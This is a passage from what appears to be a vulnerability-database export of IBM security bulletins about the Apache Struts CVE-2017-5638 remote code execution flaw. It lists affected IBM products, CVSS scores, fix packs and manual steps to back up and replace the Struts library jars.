\n**Important note: **IBM strongly suggests that all System z customers subscribe to the System z Security Portal to receive the latest critical System z security and integrity service. If you are not subscribed, see the instructions on the [_System z Security web site_](<http://www.ibm.com/systems/z/solutions/security_subintegrity.html>). Security and integrity APARs and associated fixes will be posted to this portal. IBM suggests reviewing the CVSS scores and applying all security or integrity fixes as soon as possible to minimize any potential risk.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T01:35:33", "type": "ibm", "title": "Security Bulletin: Apache Struts v2 Jakarta Multipart parser code execution affects IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T01:35:33", "id": "48F6A099D2817EC515107FFC49C4E17438FAC35AB50A0F0C6F0B86E2F20FECE3", "href": "https://www.ibm.com/support/pages/node/630909", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T01:52:34", "description": "## Summary\n\nIBM OpenPages GRC Platform Web Applications are not vulnerable to the Apache Struts 2 vulnerability CVE-2017-5638 \n\n## Vulnerability Details\n\nIBM OpenPages GRC Platform Web Applications are NOT vulnerable to the Apache Struts 2 vulnerability (CVE-2017-5638). \nPlease refer to [_https://cwiki.apache.org/confluence/display/WW/S2-045_](<https://cwiki.apache.org/confluence/display/WW/S2-045>) for more information on CVE-2017-5638.\n\n## Affected Products and Versions\n\nIBM OpenPages versions 7.0 through 7.3\n\n## Remediation/Fixes\n\nNone\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-15T22:49:16", "type": "ibm", "title": "Security Bulletin: IBM OpenPages GRC Platform Web Applications are not vulnerable to (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-15T22:49:16", "id": "F1072FE090DABD963C764C2E009454B24AB02021B54C8519F4195C5ABC6E2FF5", "href": "https://www.ibm.com/support/pages/node/294331", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T05:52:33", "description": "## Summary\n\nIBM Sterling Order Management use Apache Struts 2 and is affected by some of the vulnerabilities that exist in Apache Struts 2\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nIBM Sterling Selling and Fulfillment Foundation 9.1.0 \nIBM Sterling Selling and Fulfillment Foundation 9.2.0 \nIBM Sterling Selling and Fulfillment Foundation 9.2.1 \nIBM Sterling Selling and Fulfillment Foundation 9.3.0 \nIBM Sterling Selling and Fulfillment Foundation 9.4.0 \nIBM Sterling Selling and Fulfillment Foundation 9.5.0\n\n## Remediation/Fixes\n\nThe recommended solution is to apply the security fix pack (SFP) as soon as practical. Please see below for information about the available fixes. \n\n**_Product_**| **_Security Fix Pack*_**| _Remediation/First Fix_ \n---|---|--- \nIBM Sterling Selling and Fulfillment Foundation 9.5.0| **_9.5.0-SFP2_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF_** \nIBM Sterling Selling and Fulfillment Foundation 9.4.0| **_9.4.0-SFP3_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF_** \nIBM Sterling Selling and Fulfillment Foundation 9.3.0| **_9.3.0-SFP5_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF_** \nIBM Sterling Selling and Fulfillment Foundation 9.2.1| **_9.2.1- SFP6_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF _** \nIBM Sterling Selling and Fulfillment Foundation 9.2.0| **_9.2.0- SFP6_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF _** \nIBM Sterling Selling and Fulfillment Foundation 9.1.0| **_9.1.0- SFP6_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF _** \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-16T20:09:19", "type": "ibm", "title": "Security Bulletin: IBM Sterling Order Management is affected by a vulnerability (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-16T20:09:19", "id": "71763DB8BA3B87C5175E4ED1BF88B5F20D4D7107BB02006612C8229371E7C9F4", "href": "https://www.ibm.com/support/pages/node/558281", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T05:54:34", "description": "## Summary\n\nAn Apache Struts vulnerability was addressed by IBM Social Media Analytics.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)** \nDESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nIBM Social Media Analytics version 1.3\n\n## Remediation/Fixes\n\nThe recommended solution is to apply the following interim fix: \n[IBM Social Media Analytics 1.3.0 IF19](<http://www.ibm.com/support/docview.wss?uid=swg24043514>)\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-15T22:50:04", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts affects IBM Social Media Analytics (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-15T22:50:04", "id": "546F05697B8F700EEF28B598121A8A3351E168124EB0852E39278EAE7A99C11B", "href": "https://www.ibm.com/support/pages/node/558271", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-13T09:36:02", "description": "## Summary\n\nA vulnerability in the Apache Struts component affects the Service Assistant GUI of Storwize V7000 Unified allowing arbitrary code execution. The Command Line Interface is unaffected.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)** \nDESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n\n## Affected Products and Versions\n\nIBM Storwize V7000 Unified \nThe product is affected when running code releases 1.5.x and 1.6.0.0 to 1.6.2.1\n\n## Remediation/Fixes\n\nA fix for these issues is in version 1.6.2.2 of IBM Storwize V7000 Unified. Version 1.5 is end of service. Customers running on this release of IBM Storwize V7000 Unified can upgrade to v1.6.2.2 for a fix. \n \n[_Latest Storwize V7000 Unified Software_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1003918&myns=s028&mynp=OCST5Q4U&mync=E>) \n \nPlease contact IBM support for assistance in upgrading your system.\n\n## Workarounds and Mitigations\n\nAlthough IBM recommends that you install a level of code with a fix for this vulnerability, you can mitigate, although not eliminate, your risk until you have done so by ensuring that all users who have access to the system are authenticated by another security system such as a firewall.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T00:34:31", "type": "ibm", "title": "Security Bulletin:Vulnerability in Apache Struts affects Storwize V7000 Unified (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T00:34:31", "id": "0766EE3C620AAAF614D24B4B93352C6C94F10148776C7854787A45858D29E32F", "href": "https://www.ibm.com/support/pages/node/697609", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-13T09:36:05", "description": "## Summary\n\nA vulnerability in the Apache Struts component affects the Service Assistant GUI of SAN Volume Controller, Storwize family and FlashSystem V9000 products allowing arbitrary code execution. The Command Line Interface is unaffected.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)** \nDESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n\n## Affected Products and Versions\n\nIBM SAN Volume Controller \nIBM Storwize V7000 \nIBM Storwize V5000 \nIBM Storwize V3700 \nIBM Storwize V3500 \nIBM FlashSystem V9000 \n \nAll products are affected when running supported releases 7.1 to 7.8. For unsupported versions of the above products, IBM recommends upgrading to a fixed, supported version of the product.\n\n## Remediation/Fixes\n\nIBM recommends that you fix this vulnerability by upgrading affected versions of IBM SAN Volume Controller, IBM Storwize V7000, V5000, V3700 and V3500 to the following code levels or higher: \n \n7.6.1.8 \n7.7.1.6 \n7.8.1.0 \n \n[_Latest SAN Volume Controller Code_](<http://www-01.ibm.com/support/docview.wss?rs=591&uid=ssg1S1001707>) \n[_Latest Storwize V7000 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1003705>) \n[_Latest Storwize V5000 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004336>) \n[_Latest Storwize V3700 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004172>) \n[_Latest Storwize V3500 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004171>) \n \nFor IBM FlashSystem V9000, upgrade to the following code levels or higher: \n \n7.6.1.8 \n7.7.1.6 \n7.8.1.0 \n \n[_Latest FlashSystem V9000 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+V9000&release=All&platform=All&function=all>)\n\n## Workarounds and Mitigations\n\nAlthough IBM recommends that you install a level of code with a fix for this vulnerability, you can mitigate, although not eliminate, your risk until you have done so by ensuring that all users who have access to the system are authenticated by another security system such as a firewall.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T00:32:47", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts affects SAN Volume Controller, Storwize family and FlashSystem V9000 products (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T00:32:47", "id": "D769235D102AD19A73D51C968FFD8889D9656A19C29D4BE9C66233A668FC8B7A", "href": "https://www.ibm.com/support/pages/node/697171", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:52:11", "description": "## Summary\n\nA Security vulnerability relating to remote code execution CVE-2017-5638 (S2-045) has been reported against Apache Struts 2, which IBM Platform Symphony uses as a framework for its WEBGUI service. The Struts 2 package version that is vulnerable to these issues is included in several past versions of IBM Platform Symphony Advanced Edition and Developer Edition. Struts 2.3.32 addresses this vulnerability and can be applied through the manual steps detailed in the Remediation section.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)\n\n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \n\n**CVSS Base Score:** **7.3**\n\n**CVSS Temporal Score: See **[**_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_**](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \n\n**CVSS 3.0 Environmental Score*:** **Undefined**\n\n**CVSS Vector:** **(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)**\n\n## Affected Products and Versions\n\nIBM Platform Symphony **6.1.1, 7.1 Fix Pack 1**, and** 7.1.1**,** **and** **IBM Spectrum Symphony** 7.1.2** and **7.2**. All OS editions, including Linux and Windows, are affected. The remediation steps for Linux are provided in this document. For Windows, use the Linux steps as a reference and find the correct path for patching.\n\n## Remediation/Fixes\n\n1\\. For IBM Platform Symphony 6.1.1 or 7.1 Fix Pack 1, download the appropriate fix and follow the instructions in the readme file to upgrade to Struts version 2.3.32. \n\n**Product version**| **Fix ID** \n---|--- \nIBM Platform Symphony **6.1.1**| [_sym-6.1.1-build446371_](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Platform%2BComputing&product=ibm/Other+software/Platform+Symphony&release=All&platform=All&function=fixId&fixids=sym-6.1.1-build446371&includeSupersedes=0>) \nIBM Platform Symphony **7.1 Fix Pack 1**| [_sym-7.1-build446807_](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Platform%2BComputing&product=ibm/Other+software/Platform+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.1-build446807&includeSupersedes=0>) \n2\\. For IBM Platform Symphony 7.1.1 and higher, follow the steps to update to Struts version 2.3.32 on Linux hosts: 2.1 Log on to each management host in the cluster and download the struts-2.3.32-lib.zip package from the following location: [](<http://archive.apache.org/dist/struts/2.3.32/struts-2.3.32-lib.zip>)[_http://archive.apache.org/dist/struts/2.3.32/struts-2.3.32-lib.zip_](<http://archive.apache.org/dist/struts/2.3.32/struts-2.3.32-lib.zip>) 2.2 Stop the Platform Management Console service (WEBGUI): > egosh service stop WEBGUI 2.3 For backup purposes, move the following files, which will be replaced by new files: **\\- For IBM Platform Symphony 7.1.1:** \n> mkdir -p /tmp/guibackup/symgui \n> mkdir -p /tmp/guibackup/perfgui \n> mv $EGO_TOP/gui/3.3/lib/commons-fileupload-1.3.1.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/3.3/lib/commons-io-1.2.jar /tmp/guibackup/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/commons-fileupload-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/org.apache.commons-io-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/commons-lang3-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/javassist-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ognl-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/struts2-core-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/struts2-json-plugin-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/struts2-spring-plugin-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/xstream-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/velocity-1.5.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/perfgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ognl-*.jar /tmp/guibackup/perfgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/struts2-core-*.jar /tmp/guibackup/perfgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/perfgui/ \n**\\- For IBM Spectrum Symphony 7.1.2 and 7.2:** \n> mkdir -p /tmp/guibackup/egogui \n> mkdir -p /tmp/guibackup/perfgui \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/commons-fileupload-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/commons-io-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/commons-lang3-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/org.apache.commons-io-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/freemarker-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/javassist-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/ognl-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/struts2-core-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/struts2-json-plugin-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/struts2-spring-plugin-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/xwork-core-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/xstream-*.jar /tmp/guibackup/egogui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/velocity-1.5.jar /tmp/guibackup/egogui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/perfgui \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ognl-*.jar /tmp/guibackup/perfgui \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/struts2-core-*.jar /tmp/guibackup/perfgui \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/perfgui \n> mkdir -p /tmp/guibackup/perfguiv5 (**For 7.2 Only**) \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ognl-*.jar /tmp/guibackup/perfguiv5 (**For 7.2 Only**) \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/perfguiv5 (**For 7.2 Only**) \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/perfguiv5 (**For 7.2 Only**) 2.4 On each management host, unzip the struts-2.3.32-lib.zip package and copy the following files to your cluster directory: **\\- For IBM Platform Symphony 7.1.1:** \n> unzip -u struts-2.3.32-lib.zip \n> cd struts-2.3.32/lib/ \n> cp commons-fileupload-1.3.2.jar $EGO_TOP/gui/3.3/lib/ \n> cp commons-io-2.2.jar $EGO_TOP/gui/3.3/lib/ \n> cp commons-lang3-3.2.jar $EGO_TOP/gui/3.3/lib/ \n> cp commons-fileupload-1.3.2.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp commons-io-2.2.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp commons-lang3-3.2.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp javassist-3.11.0.GA.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp struts2-json-plugin-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp struts2-spring-plugin-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp xstream-1.4.8.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp velocity-1.6.4.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ \n**\\- For IBM Spectrum Symphony 7.1.2 and 7.2:** \n> unzip -u struts-2.3.32-lib.zip \n> cd struts-2.3.32/lib/ \n> cp commons-fileupload-1.3.2.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp commons-io-2.2.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp commons-lang3-3.2.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp javassist-3.11.0.GA.jar $EGO_TOP/gui/$EGO_VERSION/lib/ \n> cp ognl-3.0.19.jar 